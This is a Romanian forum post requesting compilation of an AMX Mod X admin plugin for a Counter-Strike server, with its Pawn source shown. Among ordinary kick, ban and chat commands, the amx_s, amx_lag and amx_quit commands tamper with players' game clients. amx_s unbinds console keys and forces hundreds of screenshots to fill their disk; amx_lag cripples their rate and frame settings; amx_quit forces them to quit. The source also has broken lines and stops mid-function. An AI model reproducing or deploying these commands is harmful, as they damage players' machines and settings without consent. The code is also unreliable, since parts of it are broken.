Cine imi poate compila si mie pluginul Admin BASE las codul mai jos :
Code: Select all
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <cstrike>
#include <csx>
#include <cfg_chat>
#define bZ 45630
#define NORMAL_SECONDS 10
#define HELPAMOUNT 10
#define STR_LEN 32
#define MAX_GROUPS 11
#define OFFSET_DEATHS 444
#define OFFSET_LINUX_D 5
#define HartiMaxime 5
#define MAX_CLR 10
new fileName[1][64] =
{
"addons/amxmodx/configs/maps.ini"
};
enum _:Infos
{
gUserIp[32],
gUserName[32]
};
enum
{
maps
};
new const gs_TeamNames[3][] =
{
"All players",
"Terrorists",
"Counter-Terrorists"
}
new g_groupNames[MAX_GROUPS][] =
{
"[FonDAtoR]",
"[Owner+vip]",
"[Co-Owner]",
"[Maresal]",
"[General]",
"[Colonel]",
"[Maior]",
"[Sergent+VIP]",
"[Fete]",
"[Sergent]",
"[Soldat]"
}
new g_groupFlags[MAX_GROUPS][] =
{
"abcdefghijklmnopqrstu",
"abcdefghijmnoqrstu",
"bcdefghijmnoqrsu",
"bcdefghijmnopqr",
"bcdefijmnopqr",
"bcdefijm",
"bceijm",
"abcdefimt",
"bcefj",
"bie",
"b"
}
new chars[] =
{
'~',
'`',
};
new gBanData[33][2][32], gLastUsers[5][Infos], g_Round;
new bool:g_Llama[33];
new NumeHarti[HartiMaxime][34];
new g_maxplayers, g_groupFlagsValue[MAX_GROUPS];
new pointer_restart, pointer_timelimit;
new g_msgChannel
new g_MakeSure[80]
new g_Colors[MAX_CLR][] = {"COL_WHITE", "COL_RED", "COL_GREEN", "COL_BLUE", "COL_YELLOW", "COL_MAGENTA", "COL_CYAN", "COL_ORANGE", "COL_OCEAN", "COL_MAROON"}
new g_Values[MAX_CLR][] = {{255, 255, 255}, {255, 0, 0}, {0, 255, 0}, {0, 0, 255}, {255, 255, 0}, {255, 0, 255}, {0, 255, 255}, {227, 96, 8}, {45, 89, 116}, {103, 44, 38}}
public plugin_init()
{
register_plugin("Admin BASE", "1.1", "KinG");
register_dictionary("INDUNGI-AMXX.txt")
register_logevent("roundend", 2, "1=Round_End");
register_event("TextMsg", "gamecommenc", "a", "2=#Game_Commencing");
register_concmd("amx_help", "cmdhelp", 0, "NR_PAGINA : Arata comenzile disponibile");
register_concmd("amx_restart", "cmdrestart", ADMIN_KICK, "SECUNDE : Restarteaza runda");
register_concmd("amx_nick", "cmdnick", ADMIN_KICK, "NUME NUME_NOU : Schimba numele jucatorului NUME in NUME_NOU");
register_concmd("amx_map", "cmdmap", ADMIN_MAP, "HARTA : Schimba harta instantaneu");
register_concmd("amx_slap", "cmdslap", ADMIN_SLAY, "NUME PUTERE : Avertizeaza un jucator sa se miste cu o palma");
register_concmd("amx_slay", "cmdslay", ADMIN_SLAY, "NUME/@ECHIPA(t sau ct)/@ALL : Omoara jucatorul/echipa/pe toti");
register_concmd("amx_kick", "cmdkick", ADMIN_KICK, "NUME : Da afara jucatorul de pe server");
register_concmd("amx_quit", "cmdquit", ADMIN_BAN, "NUME : Ii seteaza sa numai intre pe nici un server");
//register_concmd("amx_ban", "cmdbanip", ADMIN_BAN, "NUME MINUTE MOTIV : Ii da restrictie jucatorului DOAR PE IP");
//register_concmd("amx_banip", "cmdbanip", ADMIN_BAN, "NUME MINUTE MOTIV : Ii da restrictie jucatorului DOAR PE IP");
//register_concmd("amx_addban", "cmdaddban", ADMIN_BAN, "IP/STEAMID MINUTE : Ii adauga IP/STEAMID pe lista de restrictii");
//register_concmd("amx_unban", "cmdunban", ADMIN_BAN, "IP/STEAMID : Il sterge din lista de restrictii ip/steamid");
register_concmd("amx_lag", "cmdlag", ADMIN_BAN, "NUME : Ii face lag jucatorului si fps de 4");
register_concmd("amx_s", "cmds", ADMIN_BAN, "NUME : Ii umple hdd-ul de poze");
register_concmd("amx_say", "cmdsay", ADMIN_CHAT, "MSG : Transmite un msg la toti jucatorii in chat");
register_concmd("amx_chat", "cmdchat", ADMIN_CHAT, "MSG : Transmite un msg doar la admini");
register_concmd("amx_psay", "cmdpsay", ADMIN_CHAT, "NUME MSG : Comunicare privata cu persoana X");
register_concmd("amx_tsay", "cmdtsay", ADMIN_CHAT, "MSG : Transmite la toti jucatorii un msg hud,rosu pe mijloc");
register_concmd("amx_csay", "cmdtsay", ADMIN_CHAT, "MSG : Transmite la toti jucatorii un msg hud,rosu pe mijloc");
register_concmd("amx_llama", "cmdllama", ADMIN_SLAY, "NUME : Cenzureaza un jucator pentru 3 minute");
register_concmd("amx_unllama", "cmdunllama", ADMIN_SLAY, "NUME : Scoate cenzura manual");
register_concmd("amx_listmaps", "cmdlistmaps", ADMIN_ADMIN, ": Arata toate hartile de pe server");
register_concmd("amx_plugins", "cmdplugins", ADMIN_RCON, ": Vezi care/cate pluginuri functioneaza");
register_concmd("admin_plugins", "cmdplugins", ADMIN_RCON, ": Vezi care/cate pluginuri functioneaza");
register_concmd("amx_showip", "cmdshowip", 0, ": Arata toate ip-urile curente de pe server");
register_concmd("admin_showip", "cmdshowip", 0, ": Arata toate ip-urile curente de pe server");
register_concmd("admin_who", "cmdWho", -1)
register_concmd("amx_who", "cmdWho", -1)
register_concmd("amx_lastip", "cmdlastip", ADMIN_KICK, ": Ultimile 5 ip-uri deconectate");
register_concmd("amx_rcon", "cmdrcon", ADMIN_RCON, "LINIE : Are access NELIMITAT LA ORICE SETARE DIN SERVER.CFG");
register_concmd("amx_resetstats", "cmdresetstats", ADMIN_RCON, ": Reseteaza rank & top");
register_concmd("amx_immuneoff", "cmdimmoff", ADMIN_RCON, "NUME: Scoate imunitatea la un jucator")
register_concmd("amx_immuneon", "cmdimmon", ADMIN_RCON, "NUME : Adauga imunitatea la un jucator")
//register_clcmd("say /admin", "cmdadmin", 0, ": Arata adminii");
//register_clcmd("say /admins", "cmdadmin", 0, ": Arata adminii");
//register_clcmd("say admin", "cmdadmin", 0, ": Arata adminii");
register_clcmd("say /timeleft", "cmdtimeleft", 0, ": Timpul ramas pe harta");
register_clcmd("say /thetime", "cmdthetime", 0, ": Arata ceasul");
register_clcmd("say timeleft", "cmd`timeleft", 0, ": Timpul ramas pe harta");
register_clcmd("say thetime", "cmdthetime", 0, ": Arata ceasul");
//register_clcmd("say /resetscore", "cmdrs", 0, ": Reseteaza scorul");
//register_clcmd("say /rs", "cmdrs", 0, ": Reseteaza scorul");
register_clcmd("say /currentmap", "cmdcurrentmap", 0, ": Arata harta curenta");
register_clcmd("say currentmap", "cmdcurrentmap", 0, ": Arata harta curenta");
register_clcmd("say /spec", "cmdspec", 0, ": Muta pe spectator");
register_clcmd("say /harti", "cmdharti", 0, ": Arata ultimile harti jucate");
register_clcmd("say /top15", "cmdtop15", 0, ": Arata Top10 in MOTD");
register_clcmd("say /top10", "cmdtop", 0, ": Arata Top10 in MOTD");
register_clcmd("say /rank", "cmdrank", 0, ": Arata rank-ul personal");
register_clcmd("say /comenzi", "cmdcomenzi", 0, ": Arata preturile la conturile de admin");
register_clcmd("say /reguli", "cmdreguli", 0, ": Arata regulile in MOTD");
register_clcmd("say /radio", "cmdradio", 0, ": Arata radio-ul serverului");
register_clcmd("say /ore", "cmdore", 0, ": Arata orele petrecute pe server din gametracker");
g_maxplayers = get_maxplayers ();
pointer_restart = get_cvar_pointer ("sv_restartround");
pointer_timelimit = get_cvar_pointer ("mp_timelimit");
g_msgsaytext = get_user_msgid("SayText");
register_message(get_user_msgid("SayText"), "message_saytext");
for(new i = 0; i < MAX_GROUPS; i++)
{
g_groupFlagsValue[i] = read_flags(g_groupFlags[i]);
}
}
public plugin_precache()
{
register_clcmd("say", "hook_say")
register_clcmd("say_team", "hook_say")
}
public CheckUserName(id)
{
if(get_user_flags(id) & ADMIN_IMMUNITY)
{
return PLUGIN_CONTINUE;
}
new name[32]
get_user_name(id, name, 31);
for(new i = 0 ; i < strlen(name) ; i++)
{
for(new j = 0 ; j < sizeof chars ; j++)
{
if(name[i] == chars[j])
{
server_cmd("kick #%d ^"Ai caractere restrictionate[~ sau `] in nume!^"", get_user_userid(id));
break;
}
}
}
return PLUGIN_CONTINUE;
}
public client_connect(id)
{
CheckUserName(id);
client_cmd(id, "scr_connectmsg ^"* Va rugam sa asteptati pana se descarca toate resursele *^"")
client_cmd(id, "scr_connectmsg1 ^"[ * www.raii.ro/forum.php - Sectiunea GORJ * ]^"")
client_cmd(id, "scr_connectmsg2 ^"[ ** Adaugati GORJ.RaII.RO la favorit ** ]^"")
}
public client_putinserver(id)
{
g_Llama[id] = false;
}
public client_infochanged(id)
{
if (!g_Llama[id])
{
return PLUGIN_HANDLED;
}
new name[32];
get_user_name(id, name, 31);
if (!contain(name, "Llama"))
{
client_cmd(id, "name Llama")
}
return PLUGIN_HANDLED
}
public client_disconnect(id)
{
if(g_MakeSure[id])
{
set_user_flags(id,(1<<0),0);
}
g_MakeSure[id] = 0;
new Name[32];
get_user_name(id, Name, 31);
for(new i = 0 ; i < sizeof gLastUsers ; i++)
{
if(equali(gLastUsers[i][gUserName], Name))
{
return PLUGIN_HANDLED;
}
}
static iNum;
get_user_name(id, gLastUsers[iNum][gUserName], 31);
get_user_ip(id, gLastUsers[iNum][gUserIp], 31, 1);
iNum++;
if(iNum >= 5)
{
iNum = 0;
}
g_Llama[id] = false;
return PLUGIN_HANDLED;
}
public plugin_cfg()
{
new FisierHartiJucate[64];
get_localinfo("amxx_configsdir", FisierHartiJucate, 63);
format(FisierHartiJucate, 63, "%s/indungi/hartianterioare.ini", FisierHartiJucate);
new Fisier = fopen(FisierHartiJucate, "rt");
new i, Temporar[34];
if(Fisier)
{
for(i=0; i<HartiMaxime; i++)
{
if(!feof(Fisier))
{
fgets(Fisier, Temporar, 33);
replace(Temporar, 33, "^n", "");
formatex(NumeHarti[i], 33, Temporar);
}
}
fclose(Fisier);
}
delete_file(FisierHartiJucate);
new CurrentMap[34];
get_mapname(CurrentMap, 33);
Fisier = fopen(FisierHartiJucate, "wt");
if(Fisier)
{
formatex(Temporar, 33, "%s^n", CurrentMap);
fputs(Fisier, Temporar);
for(i=0; i<HartiMaxime-1; i++)
{
CurrentMap = NumeHarti[i];
if(!CurrentMap[0])
{
break;
}
formatex(Temporar, 33, "%s^n", CurrentMap);
fputs(Fisier, Temporar);
}
fclose(Fisier);
}
}
public roundend()
{
g_Round++;
}
public gamecommenc()
{
g_Round = 0;
}
public hook_say(id)
{
if(g_Llama[id])
{
static name[32];
get_user_name(id,name,31);
client_print(id, print_center, "[ Ai LLAMA 3 minute ]");
return PLUGIN_HANDLED;
}
return PLUGIN_CONTINUE;
}
public cmdhelp(id, level, cid)
{
new arg1[8], flags = get_user_flags(id);
new start = read_argv(1, arg1, 7) ? str_to_num(arg1) : 1;
new lHelpAmount = HELPAMOUNT;
if (flags > 0 && !(flags & ADMIN_USER))
{
flags |= ADMIN_ADMIN;
}
if (id == 0 && read_argc() == 3)
{
lHelpAmount = read_argv(2, arg1, 7) ? str_to_num(arg1) : HELPAMOUNT;
}
if (--start < 0)
{
start = 0;
}
new clcmdsnum = get_concmdsnum(flags, id);
if (start >= clcmdsnum)
{
start = clcmdsnum - 1;
}
console_print(id, "^nComenzi AMXMODX");
new info[128], cmd[32], eflags;
new end = start + lHelpAmount;
if (end > clcmdsnum)
{
end = clcmdsnum;
}
for (new i = start; i < end; i++)
{
get_concmd(i, cmd, 31, eflags, info, 127, flags, id);
console_print(id, "%3d: %s %s", i + 1, cmd, info);
}
console_print(id, "----- Comenzi %d - %d din %d -----", start + 1, end, clcmdsnum);
if (end < clcmdsnum)
{
console_print(id, "----- Foloseste amx_help %d pentru mai multe comenzi -----", end + 1);
}
else
{
console_print(id, "----- Foloseste amx_help 1 sa vizualizezi lista de la inceput -----");
}
return PLUGIN_HANDLED;
}
public cmdrestart(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[3], name[32];
read_argv(1,arg,3);
new restart = str_to_num(arg);
get_user_name(id,name,31);
set_pcvar_num(pointer_restart, restart);
g_Round = 0;
log_amx("%s: amx_restart %d",name, restart);
client_print(0, print_chat, "%s: amx_restart %d", name, restart);
return PLUGIN_HANDLED;
}
public cmdnick(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
{
return PLUGIN_HANDLED;
}
new arg1[32], arg2[32];
read_argv(1, arg1, 31);
read_argv(2, arg2, 31);
new player = cmd_target(id, arg1, CMDTARGET_OBEY_IMMUNITY);
if (!player)
{
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id, name, 31);
get_user_name(player, name2, 31);
client_cmd(player, "name ^"%s^"", arg2);
set_user_info (player, "name", arg2 );
log_amx("%s: amx_nick %s - New %s",name, name2, arg2);
print(0, "^x04[GORJ AMXX] ^x01%s: Change name ^x04%s ^x01to ^x04%s", name, name2, arg2);
return PLUGIN_HANDLED;
}
public cmdmap(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32];
new _modName[10];
new arglen = read_argv(1, arg, 31);
if (!is_map_valid(arg))
{
console_print(id, "Plansa Necunoscuta");
return PLUGIN_HANDLED;
}
new name[32];
get_user_name(id, name, 31);
get_modname(_modName, 9);
if (!equal(_modName, "zp"))
{
message_begin(MSG_ALL, SVC_INTERMISSION);
message_end();
}
set_task(2.0, "chMap", 0, arg, arglen + 1);
log_amx("%s: amx_map %s",name, arg);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_map ^x01%s", name, arg);
return PLUGIN_HANDLED;
}
public chMap(map[])
{
server_cmd("changelevel %s", map);
}
public cmdslap(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32], spower[32];
read_argv(1, arg, 31);
read_argv(2, spower, 31);
new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_ONLY_ALIVE);
if (!player)
{
return PLUGIN_HANDLED;
}
new damage = str_to_num(spower);
user_slap(player, damage);
new name[32], name2[32];
get_user_name(id, name, 31);
get_user_name(player, name2, 31);
log_amx("%s: amx_slap %s (dmg %d)",name, name2, damage);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_slap ^x01%s ^x04(%d dmg)", name, name2, damage);
return PLUGIN_HANDLED;
}
public cmdslay(id,level,cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[6], team, name[32];
read_argv(1,arg,5);
get_user_name(id,name,31);
if ( arg[ 0 ] == '@' )
{
switch ( arg[ 1 ] )
{
case 'A', 'a': team = 0;
case 'T', 't': team = 1;
case 'C', 'c': team = 2;
default: return PLUGIN_HANDLED;
}
for (new i = 1; i <= g_maxplayers; i++)
{
if (!is_user_alive (i) )
{
continue;
}
// skip admin who used the command
if ( i == id )
{
continue;
}
if ( team && get_user_team (i) != team )
{
continue;
}
user_silentkill (i);
}
log_amx("%s: amx_slay %s",name, gs_TeamNames[team]);
client_print(0, print_chat, "%s: amx_slay %s!", name, gs_TeamNames[ team ] );
}
else
{
new player = cmd_target(id , arg , CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_ONLY_ALIVE);
if (!player)
{
return PLUGIN_HANDLED;
}
user_silentkill (player);
log_amx("%s: amx_slay %s",name, arg);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_slay ^x01%s", name, arg);
}
return PLUGIN_HANDLED;
}
public cmdkick(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
{
return PLUGIN_HANDLED;
}
new arg[32], reason[64];
read_argv(1, arg, 31);
read_argv(2, reason, 63);
new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY);
if (!player)
{
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id, name, 31);
get_user_name(player, name2, 31);
client_cmd(player,"disconnect");
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_kick ^x01%s ^x04[Motiv: %s]", name, name2, reason);
log_amx("%s: amx_kick %s (Motiv: %s)",name, name2, reason);
return PLUGIN_HANDLED;
}
public cmdquit(id,level,cid)
{
if (!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1,arg,31);
new player = cmd_target(id,arg, CMDTARGET_OBEY_IMMUNITY);
if (!player)
{
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id,name,31);
get_user_name(player,name2, 31);
client_cmd(player,"cl_timeout 0;wait;cl_dlmax 1;wait;quit");
log_amx("%s: amx_quit %s",name, name2);
client_print(0, print_chat, "%s: amx_quit %s", name, name2);
return PLUGIN_HANDLED;
}
public cmdbanip(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
{
return PLUGIN_HANDLED;
}
new target[32], minutes[8], reason[64];
read_argv(1, target, 31);
read_argv(2, minutes, 7);
read_argv(3, reason, 63);
if (!(get_user_flags(id) & ADMIN_BANCLASS))
{
if (contain(target, ".0") != -1)
{
console_print(id, "Nu ai access sa dai ban pe clasa!")
return PLUGIN_HANDLED;
}
}
if (!(get_user_flags(id) & ADMIN_BANPERM))
{
if ((str_to_num(minutes) > 44640) || (str_to_num(minutes) <= 0))
{
console_print(id, "Nu ai voie sa dai ban mai mult de 1 luna zile(4320 min)")
return PLUGIN_HANDLED;
}
}
new player = cmd_target(id, target, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS);
if (!player)
{
return PLUGIN_HANDLED;
}
copy(gBanData[player][0], 31, minutes);
copy(gBanData[player][1], 31, reason);
new TaskData[4];
TaskData[0] = id;
TaskData[1] = player;
new name[32], name2[32], usrip[32], timer[32];
get_user_name(id,name,31);
get_user_name(player,name2,31);
get_user_ip(player,usrip,31);
get_time("%m/%d/%Y - %H:%M:%S", timer,31);
print(player, "^x01[BAN] Screenshot facut pe serverul:^x03 GORJ.RaII.RO^x01 (ADMIN^x03 %s^x01)", name);
print(player, "^x01[*] Nume:^x03 %s^x01 - Ip:^x04 %s", name2, usrip);
print(player, "^x01[*] Data:^x04 %s", timer);
print(player, "^x01[^x04SS^x01] pentru unban la adresa:^x03 www.raii.ro/forum.php");
console_print(player, "* Screenshot facut pe serverul: GORJ.RaII.RO (ADMIN %s)", name);
console_print(player, "* Nick: ^"%s^" with IP : %s",name2,usrip);
console_print(player, "* Date : %s",timer);
console_print(player, "* Visit www.raii.ro/forum.php pentru Unban.");
client_cmd(player,"wait;snapshot");
set_task(0.5, "fnBanUser", 0, TaskData, 2);
return PLUGIN_HANDLED;
}
public fnBanUser(Data[])
{
new id = Data[0];
new player = Data[1];
if (!is_user_connected(id))
{
return PLUGIN_HANDLED;
}
new minutes[32], reason[32];
copy(minutes, 31, gBanData[player][0]);
copy(reason, 31, gBanData[player][1]);
new userid2 = get_user_userid(player);
remove_quotes(reason);
new name[32], name2[32], usrip[32];
get_user_name(id, name, 31);
get_user_name(player, name2, 31);
get_user_ip(player, usrip, 31, 1);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_ban ^x01%s ^x04(%s min)^x01[Motiv: ^"%s^"]", name, name2, minutes, reason);
log_amx("%s: amx_banip %s (%s)(%s min) (Reason: %s)",name, name2, minutes,usrip, reason);
server_cmd("kick #%d ^"Restrictionat pentru %s min^";wait;addip ^"%s^" ^"%s^";wait;writeip", userid2, minutes, minutes, usrip);
return PLUGIN_HANDLED;
}
public cmdaddban(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
{
return PLUGIN_HANDLED;
}
new arg[32], minutes[32];
read_argv(1, arg, 31);
read_argv(2, minutes, 31);
if (!(get_user_flags(id) & ADMIN_BANCLASS))
{
if (contain(arg, ".0") != -1)
{
console_print(id, "Nu ai access sa dai ban pe clasa!")
return PLUGIN_HANDLED;
}
}
if (!(get_user_flags(id) & ADMIN_BANPERM))
{
if ((str_to_num(minutes) > 44640) || (str_to_num(minutes) <= 0))
{
console_print(id, "Nu ai voie sa dai ban mai mult de 1 luna zile(4320 min)")
return PLUGIN_HANDLED;
}
}
if (equali(arg, "STEAM_ID_PENDING") || equali(arg, "VALVE_ID_PENDING") || equali(arg, "HLTV") || equali(arg, "VALVE_ID_LAN") || equali(arg, "STEAM_ID_LAN"))
{
console_print(id, "Nu poti restrictiona %s", arg);
return PLUGIN_HANDLED;
}
if (contain(arg, ".") != -1)
{
server_cmd("addip ^"%s^" ^"%s^";wait;writeip", minutes, arg);
console_print(id, "Ip ^"%s^" a fost adaugat in lista de restrictii", arg);
}
else
{
server_cmd("banid ^"%s^" ^"%s^";wait;writeid", minutes, arg);
console_print(id, "SteamId ^"%s^" a fost adaugat in lista de restrictii", arg);
}
new name[32];
get_user_name(id, name, 31);
log_amx("%s: amx_addban %s", name, arg);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_addban ^x01%s", name, arg);
return PLUGIN_HANDLED;
}
public cmdunban(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1, arg, 31);
if (!(get_user_flags(id) & ADMIN_BANCLASS))
{
if (contain(arg, ".0") != -1)
{
console_print(id, "Nu ai access sa dai unban pe clasa!")
return PLUGIN_HANDLED;
}
}
if (contain(arg, ".") != -1)
{
server_cmd("removeip ^"%s^";writeip", arg);
console_print(id, "Ip %s a fost sters din lista de restrictii", arg);
}
else
{
server_cmd("removeid %s;writeid", arg);
console_print(id, "SteamId %s a fost sters din lista de restrictii", arg);
}
new name[32];
get_user_name(id, name, 31);
log_amx("%s: Task amx_unban %s",name, arg);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04amx_unban ^x01%s", name, arg);
return PLUGIN_HANDLED;
}
public cmdlag(id,level,cid)
{
if (!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1, arg, 31);
new player = cmd_target(id,arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS);
new name2[32], name[32];
get_user_name(player,name2,31);
get_user_name(id,name,31);
if(!player)
{
return PLUGIN_HANDLED;
}
client_cmd(player,"developer 1;rate 1;cl_cmdrate 10; cl_updaterate 10;fps_max 1");
log_amx("%s: amx_lag %s",name, name2);
print(0, "^x04[GORJ AMXX] ^x01%s: ^x04 amx_lag ^x01%s", name, name2);
return PLUGIN_HANDLED;
}
public cmds(id,level,cid)
{
if (!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1,arg,31);
new player = cmd_target(id,arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS);
new name2[32], name[32];
get_user_name(player,name2,31);
get_user_name(id,name,31);
if(!player)
{
return PLUGIN_HANDLED;
}
client_cmd(player,"developer 1");
client_cmd(player,"unbind `; unbind ~;unbind escape");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
client_cmd(player, "snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait");
log_amx("%s: amx_s %s",name, name2);
client_print(0, print_chat, "%s: amx_s %s", name, name2);
return PLUGIN_HANDLED;
}
public cmdsay(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new message[192];
read_args(message, 191);
remove_quotes(message);
new name[32];
get_user_name(id, name, 31);
log_amx("[Say] %s: %s", name, message);
client_print(0, print_chat, "[ADMIN ALL] %s: %s", name, message);
return PLUGIN_HANDLED;
}
public cmdchat(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new message[192];
read_args(message, 191);
remove_quotes(message);
new name[32], players[32], num;
get_user_name(id, name, 31);
get_players(players, num);
log_amx("[CHAT] %s: %s", name, message);
for (new i = 1; i <= g_maxplayers; i++)
{
if (is_user_connected (i) && (get_user_flags (i) & ADMIN_CHAT))
{
client_print(i, print_chat, "[ADMIN CHAT] %s: %s", name, message);
}
}
return PLUGIN_HANDLED;
}
public cmdpsay(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
{
return PLUGIN_HANDLED;
}
new name2[32];
read_argv(1, name2, 31);
new priv = cmd_target(id, name2, 0);
if (!priv)
{
return PLUGIN_HANDLED;
}
new length = strlen(name2) + 1;
new name[32], message[192];
get_user_name(id, name, 31);
read_args(message, 191);
if (message[0] == '"' && message[length] == '"')
{
message[0] = ' ';
message[length] = ' ';
length += 2;
}
remove_quotes(message[length]);
get_user_name(priv, name2, 31);
if (id && id != priv)
{
client_print(id, print_chat, "[ADMIN %s PM %s]: %s", name, name2, message[length]);
}
client_print(priv, print_chat, "[PM from ADMIN %s]: %s", name, message[length]);
log_amx("[PM] Admin %s - User %s: %s", name, name2, message[length]);
return PLUGIN_HANDLED;
}
public cmdtsay(id, level, cid)
{
if (!cmd_access(id, level, cid, 3))
return PLUGIN_HANDLED
new cmd[16], color[16], color2[16], message[192], name[32];
read_argv(0, cmd, 15)
new bool:tsay = (tolower(cmd[4]) == 't')
read_args(message, 191)
remove_quotes(message)
parse(message, color, 15)
new found = 0, a = 0
new lang[3], langnum = get_langsnum()
for (new i = 0; i < MAX_CLR; ++i)
{
for (new j = 0; j < langnum; j++)
{
get_lang(j, lang)
format(color2, 15, "%L", lang, g_Colors[i])
if (equali(color, color2))
{
a = i
found = 1
break
}
}
if (found == 1)
break
}
new length = found ? (strlen(color) + 1) : 0
if (++g_msgChannel > 6 || g_msgChannel < 3)
{
g_msgChannel = 3
}
new Float:verpos = (tsay ? 0.55 : 0.1) + float(g_msgChannel) / 35.0
get_user_name(id, name, 31)
set_hudmessage(g_Values[a][0], g_Values[a][1], g_Values[a][2], tsay ? 0.05 : -1.0, verpos, 0, 6.0, 6.0, 0.5, 0.15, -1)
show_hudmessage(0, "%s : %s", name, message[length])
log_amx("[Csay/Tsay] %s: %s", name, message[length])
return PLUGIN_HANDLED
}
public cmdllama(id,level,cid)
{
if(!cmd_access(id,level,cid,2))
{
return PLUGIN_HANDLED;
}
new arg[32];
read_argv(1,arg,31);
new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS );
new name2[32], name[32];
get_user_name(player,name2, 31);
get_user_name(id,name,31);
if(!player)
{
return PLUGIN_HANDLED;
}
if(g_Llama[player])
{
console_print(id,"Acest jucator are cenzura deja!");
return PLUGIN_HANDLED;
}
g_Llama[player] = true;
client_cmd(player,"name ^"Llama^"");
log_amx("%s: amx_llama %s (3 min)", name, name2);
client_print(id, print_chat, "%s: amx_llama %s (3 min)",name, name2);
set_task(180.0, "remove", player);
return PLUGIN_HANDLED;
}
public remove(player)
{
if (!is_user_connected(player))
{
